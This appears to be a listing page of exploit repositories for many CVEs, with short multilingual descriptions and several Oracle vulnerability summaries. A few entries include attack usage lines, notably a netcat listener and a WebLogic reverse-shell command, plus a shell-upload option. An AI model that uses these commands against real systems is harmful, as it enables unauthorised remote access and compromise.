CVE-2021-43798-Exploit-for-Windows-and-Linux

CVE-2021-43798-Exploit-for-Windows-and-Linux Exploit modificado para CVE-2021-43798. Código del exploit original: https://www.exploit-db.com/exploits/50581 Cambios: Esta versión modificada es compatible con servidores tanto de Windows como de Linux. Cuando un usuario introduce una ruta absoluta...

CVE-2020-17519-Exp

CVE-2020-17519-Exp CVE-2020-17519 EXP...

CVE-2018-7600-Drupal7

CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】批量扫描工具。 root@kitploit: 主文件：CVE-2018-7600-Drupal7.py 其实本质是封装了whoami的exp Drupal7/8的原理是一样的但该脚本当是只做了7的适配 提供target.txt作为目标输入，结果自动输出到result.txt文件 因为是好久前写的脚本现在分享一下，有不够精致的地方还请多多包涵 Demo： root@kitploit: 为了防止你们说我水，顺便丢一个单目标的EXP 本脚本仅用于授权测试，请勿用于非法用途，请遵守游戏规则。...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...

CVE-2020-27955

CVE-2020-27955 Gracias https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

Detect-CVE-2017-0144-attack

Programa Python para detectar ataques CVE-2017-0144 Programa Python cuya función es rastrear y supervisar el tráfico de red continuamente en tiempo real. Mostrará una alerta en la pantalla de la consola cuando detecte un ataque CVE-2017-0144 EternalBlue 1. Modelo del laboratorio Este laboratorio ...

CVE-2019-0708-EXP-MSF-

CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF Vulnerability exploit program for cve-2019-0708 要求msf版本在5.0.4以上 root@kitploit: mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ mkdir -p...

CVE-2018-2893

CVE-2018-2893 可以直接反弹shell Usage 监听 root@kitploit: nc -lvvp reverseport 发送payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Reffer bigsizeme pyn3rd 说明 仅用于测试和交流学习，勿作他用...

SpringBreaker

SpringBreaker Exploit PoC para el problema de RCE en Spring CVE-2011-2894...

Log4jUnifi

Log4jUnifi Explotando CVE-2021-44228 en Unifi Network Application para ejecución remota de código y más. Otro Log4j en el fuego: Unifi ¿Por qué? Las pruebas de concepto para esta vulnerabilidad están dispersas y deben realizarse manualmente. Este repositorio automatiza el proceso de explotación...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables Esto es una prueba de concepto por ahora bastante rudimentaria para CVE-2023-4911. Hasta ahora solo he verificado que funciona en Ubuntu 22.10 kinetic. La versión actual del exploit contiene una cantidad considerable de offsets "mágicos". Si tienes sugerencias sobr...

CVE-2019-15107_webminRCE

CVE-2019-15107webminRCE unauthorized RcE exploit for webnin 1.920 modified version of https://github.com/jas502n/CVE-2019-15107 POC https://asciinema.org/a/YzMmXQyvZcsBF9OzccXxmHmyQ...

root-zte-open

root-zte-open 用于 CVE-2012-4220 的漏洞利用，在 zte-open 上工作 原始安全公告：https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012 原始利用：https://github.com/hiikezoe/breaksetresuid 构建 root@kitploit: $ ndk-build NDKPROJECTPATH=...

vmware_exploit_pack_CVE-2009-1244

vmwareexploitpackCVE-2009-1244 vmware cloudburst exploit CVE-2009-1244 hackto en el .exe - video aquí: https://vimeo.com/6595412...

CVE-2026-87288

Vulnerability in the Oracle GraalVM product of Oracle Java SE component: Compiler. The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks o...

CVE-2026-87287

Vulnerability in the Oracle GraalVM product of Oracle Java SE component: Compiler. The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks o...

CVE-2026-87286

Vulnerability in the Oracle GraalVM product of Oracle Java SE component: Compiler. The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks o...

CVE-2026-87254

Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain component: Folders, Files & Attachments. The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile PLM. Successful...

CVE-2026-87247

Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion component: Security. The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial...

CVE-2026-87213

Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion component: Security. The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financia...